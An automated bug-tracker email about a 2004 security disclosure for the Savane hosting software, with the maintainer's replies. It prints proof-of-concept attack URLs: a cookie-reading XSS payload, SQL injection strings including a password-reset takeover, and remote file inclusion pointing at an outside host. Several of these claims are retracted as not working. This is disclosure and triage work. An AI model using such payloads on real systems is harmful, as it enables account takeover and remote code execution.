This mail is an automated notification from the bugs tracker
of the project: Savane.
/**************************************************************************/
[bugs #724] Latest Modifications:
Changes by:
Joxean Koret <[EMAIL PROTECTED]>
'Date:
vie 17/09/04 at 23:53 (GMT)
------------------ Additional Follow-up Comments ----------------------------
>------------------------------------------------------------------------
>Study of "Multiple vulnerabilities in Savane Product"
>------------------------------------------------------------------------
>
> >A. Cross Site Scripting
> >
> >A1. I have found a Cross Site Scripting vulnerability in the PHP login form.
> > To try the vulnerability you can view the following URL :
>
> >I do not call that vulnerability. To do so, someone need first to be able to
> >forrge an url. If he can forge an url, he does not need a Savane running to
> >print javascript.
May be not a vulnerability, but this is dangerous. Yes, is needed to forge an
url,
but I think that may be dangerous
>
> ------------------------------------------------------------------------
>
> > B. SQL Injection Vulnerabilities
> > http://localhost/savane/account/updateprefs.php?form_use_cvsadmin=SQL_INJECTION
>
> I tried, it does not work at all.
> How could it work? In this case, the variable is only used in an if statement.
>
This doesn't work, sorry. I don't know I have done...
> > B. SQL Injection Vulnerabilities
> > http://localhost/savane/account/login.php?user_id=SQLINJECTION&session_hash=SQLINJECTION
>
> I also tried too, it did not work either.
> (php escape ', so you cannot do injection)
>
This works but only if magic_quotes_gpc is set to Off.
> I did not checked the others, I guess it's similar.
>
Take a look to the following :
Only if magic_quotes_gpc is set to Off:
http://localhost/savannah/account/lostlogin.php?confirm_hash='%20or%201=1%20limit%201--
Only in conjunction with the prior bug:
http://localhost/savannah/account/lostlogin.php?confirm_hash='%20or%20user_id=known_user%20limit%201--&form_pw=1&form_pw2=1&Update=1
http://localhost/savannah/account/pending-resend.php?form_user='%20or%202>1
This works, at least, in my system.
>
> ------------------------------------------------------------------------
>
> > C. Remote Code Execution
> > http://localhost/savane/include/stats_function.php?sys_urlroot=http://fuckingsite.com?
>
> This is confirmed. Workaround: remove the file. It's not used in the code at
> all
> > C. Remote Code Execution
> >
>
> This cannot work. $sys_urlroot is set by the configuration file, so if you
> fill it it will be overriden in any cases by
> require getenv('SV_LOCAL_INC_PREFIX').'/savannah.conf.php';
>
> > C. Remote Code Execution
> >
>
> This cannot work. pre.php is called before
> require $GLOBALS['sys_urlroot']."/include/account.php";
> which means $GLOBALS['sys_urlroot'] will be set accordingly to the
> configuration file.
>
You're right, only works the problem in stats_function.php.
Again, sorry because I don't know what I have been confused.
> ----------------------------------------------
>
> I'd like an exhaustive list of other Remote Code Execution vulnerabilities
> you think you found.
>
I tried and doesn't work.
> I have made grep "require " on the whole frontend code and no require using a
> global to set the path exists without previous require of "pre.php", setting
> appropriately pathes.
>
> I'm also a bit surprised that you always recall that "the SV_LOCAL_INC_PREFIX
> environment variable" must be defined, since with the version of Savane you
> tried, the PHP frontend would not run if it's not set.
>
My system was bad configured.
> I wait for the list of other files affected according to you. At the end of
> the day, I release Savane 1.0.3.2 (removal of the useless and insecure
> stats_function.php)
Sorry, I don't want bother.
/**************************************************************************/
[bugs #724] Full Item Snapshot:
URL: <http://gna.org/bugs/?func=detailitem&item_id=724>
Project: Savane
Submitted by: Joxean Koret
On: jue 16/09/04 at 21:53
Category: Web Frontend
Severity: 6 - Security
Priority: C - Normal
Resolution: None
Privacy: Private
Assigned to: yeupou
Status: Open
Release: 1.0.3
Planned Release:
Summary: Multiple vulnerabilities in Savane Product
Original Submission:
---------------------------------------------------------------------------
Multiple Vulnerabilities in Savane
---------------------------------------------------------------------------
Author: Jose Antonio Coret (Joxean Koret)
Date: 2004
Location: Basque Country
---------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Savane Latest (Released at 24-Aug-2004 08:23)
Savane is a Web-based Libre Software hosting system. It currently includes
issue tracking (bugs, task, support), project and member management, mailing
lists, and individual account maintenance.
Web : https://gna.org/projects/savane
---------------------------------------------------------------------------
Vulnerabilities:
~~~~~~~~~~~~~~~~
A. Cross Site Scripting
A1. I have found a Cross Site Scripting vulnerability in the PHP login form.
To try the vulnerability you can view the following URL :
http(s)://<site-with-savane>/account/login.php?form_loginname="><script>alert(document.cookie)</script>
B. SQL Injection Vulnerabilities
B1. I have found various SQL Injection vulnerabilities. The Savane product is
only
affected if :
A) The environment variable SV_LOCAL_INC_PREFIX is defined
and
B) PHP is configured with "magic_quotes_gpc" to "On"
and
C) Register_globas directive is set to on in the file php.ini
The following php scripts are vulnerables :
http://localhost/savane/account/updateprefs.php?form_use_cvsadmin=SQL_INJECTION
http://localhost/savane/account/pending-resend.php?form_use_cvsadmin=SQL_INJECTION
http://localhost/savane/account/lostpw-confirm.php?form_loginname=SQL_Injection
http://localhost/savane/account/logout.php?session_hash=SQLInjection
http://localhost/savane/account/login.php?user_id=SQLINJECTION&session_hash=SQLINJECTION
C. Remote Code Execution
C1. The first remote PHP code execution vulnerability that I found is only
exploitable if magic_quotes_gpc is set to on. To try this :
http://localhost/savane/include/stats_function.php?sys_urlroot=http://fuckingsite.com?
I have found various other vulnerabilities of the same kind, but are only
exploitables if the SV_LOCAL_INC_PREFIX environment variable is defined
(always)
and the register_globals is set to on.
Examples:
http://localhost/savane/include/pre.php?sys_urlroot=http://fuckingsite.com?
http://localhost/savane/account/lostlogin.php?sys_urlroot=http://fuckingsite.com?
Disclaimer:
~~~~~~~~~~~
The information in this advisory and any of its demonstrations is provided
"as is" without any warranty of any kind.
I am not liable for any direct or indirect damages caused as a result of
using the information or demonstrations provided in any part of this
advisory.
---------------------------------------------------------------------------
Contact:
~~~~~~~~
Joxean Koret at joxeanpiti<<<<<<<<@>>>>>>>>yah00<<<<<<dot>>>>>es
Follow-up Comments
------------------
-------------------------------------------------------
Date: vie 17/09/04 at 23:53 By: Joxean Koret <joseanpiti>
>------------------------------------------------------------------------
>Study of "Multiple vulnerabilities in Savane Product"
>------------------------------------------------------------------------
>
> >A. Cross Site Scripting
> >
> >A1. I have found a Cross Site Scripting vulnerability in the PHP login form.
> > To try the vulnerability you can view the following URL :
>
> >I do not call that vulnerability. To do so, someone need first to be able to
> >forrge an url. If he can forge an url, he does not need a Savane running to
> >print javascript.
May be not a vulnerability, but this is dangerous. Yes, is needed to forge an
url,
but I think that may be dangerous
>
> ------------------------------------------------------------------------
>
> > B. SQL Injection Vulnerabilities
> > http://localhost/savane/account/updateprefs.php?form_use_cvsadmin=SQL_INJECTION
>
> I tried, it does not work at all.
> How could it work? In this case, the variable is only used in an if statement.
>
This doesn't work, sorry. I don't know I have done...
> > B. SQL Injection Vulnerabilities
> > http://localhost/savane/account/login.php?user_id=SQLINJECTION&session_hash=SQLINJECTION
>
> I also tried too, it did not work either.
> (php escape ', so you cannot do injection)
>
This works but only if magic_quotes_gpc is set to Off.
> I did not checked the others, I guess it's similar.
>
Take a look to the following :
Only if magic_quotes_gpc is set to Off:
http://localhost/savannah/account/lostlogin.php?confirm_hash='%20or%201=1%20limit%201--
Only in conjunction with the prior bug:
http://localhost/savannah/account/lostlogin.php?confirm_hash='%20or%20user_id=known_user%20limit%201--&form_pw=1&form_pw2=1&Update=1
http://localhost/savannah/account/pending-resend.php?form_user='%20or%202>1
This works, at least, in my system.
>
> ------------------------------------------------------------------------
>
> > C. Remote Code Execution
> > http://localhost/savane/include/stats_function.php?sys_urlroot=http://fuckingsite.com?
>
> This is confirmed. Workaround: remove the file. It's not used in the code at
> all
> > C. Remote Code Execution
> >
>
> This cannot work. $sys_urlroot is set by the configuration file, so if you
> fill it it will be overriden in any cases by
> require getenv('SV_LOCAL_INC_PREFIX').'/savannah.conf.php';
>
> > C. Remote Code Execution
> >
>
> This cannot work. pre.php is called before
> require $GLOBALS['sys_urlroot']."/include/account.php";
> which means $GLOBALS['sys_urlroot'] will be set accordingly to the
> configuration file.
>
You're right, only works the problem in stats_function.php.
Again, sorry because I don't know what I have been confused.
> ----------------------------------------------
>
> I'd like an exhaustive list of other Remote Code Execution vulnerabilities
> you think you found.
>
I tried and doesn't work.
> I have made grep "require " on the whole frontend code and no require using a
> global to set the path exists without previous require of "pre.php", setting
> appropriately pathes.
>
> I'm also a bit surprised that you always recall that "the SV_LOCAL_INC_PREFIX
> environment variable" must be defined, since with the version of Savane you
> tried, the PHP frontend would not run if it's not set.
>
My system was bad configured.
> I wait for the list of other files affected according to you. At the end of
> the day, I release Savane 1.0.3.2 (removal of the useless and insecure
> stats_function.php)
Sorry, I don't want bother.
-------------------------------------------------------
Date: vie 17/09/04 at 07:25 By: Mathieu Roy <yeupou>
Study of "Multiple vulnerabilities in Savane Product"
------------------------------------------------------------------------
>A. Cross Site Scripting
>
>A1. I have found a Cross Site Scripting vulnerability in the PHP login form.
> To try the vulnerability you can view the following URL :
I do not call that vulnerability. To do so, someone need first to be able to
forrge an url. If he can forge an url, he does not need a Savane running to
print javascript.
------------------------------------------------------------------------
> B. SQL Injection Vulnerabilities
> http://localhost/savane/account/updateprefs.php?form_use_cvsadmin=SQL_INJECTION
I tried, it does not work at all.
How could it work? In this case, the variable is only used in an if statement.
> B. SQL Injection Vulnerabilities
> http://localhost/savane/account/login.php?user_id=SQLINJECTION&session_hash=SQLINJECTION
I also tried too, it did not work either.
(php escape ', so you cannot do injection)
I did not checked the others, I guess it's similar.
------------------------------------------------------------------------
> C. Remote Code Execution
> http://localhost/savane/include/stats_function.php?sys_urlroot=http://fuckingsite.com?
This is confirmed. Workaround: remove the file. It's not used in the code at all
> C. Remote Code Execution
>http://localhost/savane/include/pre.php?sys_urlroot=http://fuckingsite.com
This cannot work. $sys_urlroot is set by the configuration file, so if you
fill it it will be overriden in any cases by
require getenv('SV_LOCAL_INC_PREFIX').'/savannah.conf.php';
> C. Remote Code Execution
>http://localhost/savane/account/lostlogin.php?sys_urlroot=http://fuckingsite.com
This cannot work. pre.php is called before
require $GLOBALS['sys_urlroot']."/include/account.php";
which means $GLOBALS['sys_urlroot'] will be set accordingly to the
configuration file.
----------------------------------------------
I'd like an exhaustive list of other Remote Code Execution vulnerabilities you
think you found.
I have made grep "require " on the whole frontend code and no require using a
global to set the path exists without previous require of "pre.php", setting
appropriately pathes.
I'm also a bit surprised that you always recall that "the SV_LOCAL_INC_PREFIX
environment variable" must be defined, since with the version of Savane you
tried, the PHP frontend would not run if it's not set.
I wait for the list of other files affected according to you. At the end of the
day, I release Savane 1.0.3.2 (removal of the useless and insecure
stats_function.php)
CC List
-------
CC Address | Comment
------------------------------------+-----------------------------
ype |
beuc --AT-- gnu --DOT-- org | I think that you need to be advised.
For detailed info, follow this link:
<http://gna.org/bugs/?func=detailitem&item_id=724>
_______________________________________________
Message sent via/by Gna!
http://gna.org/
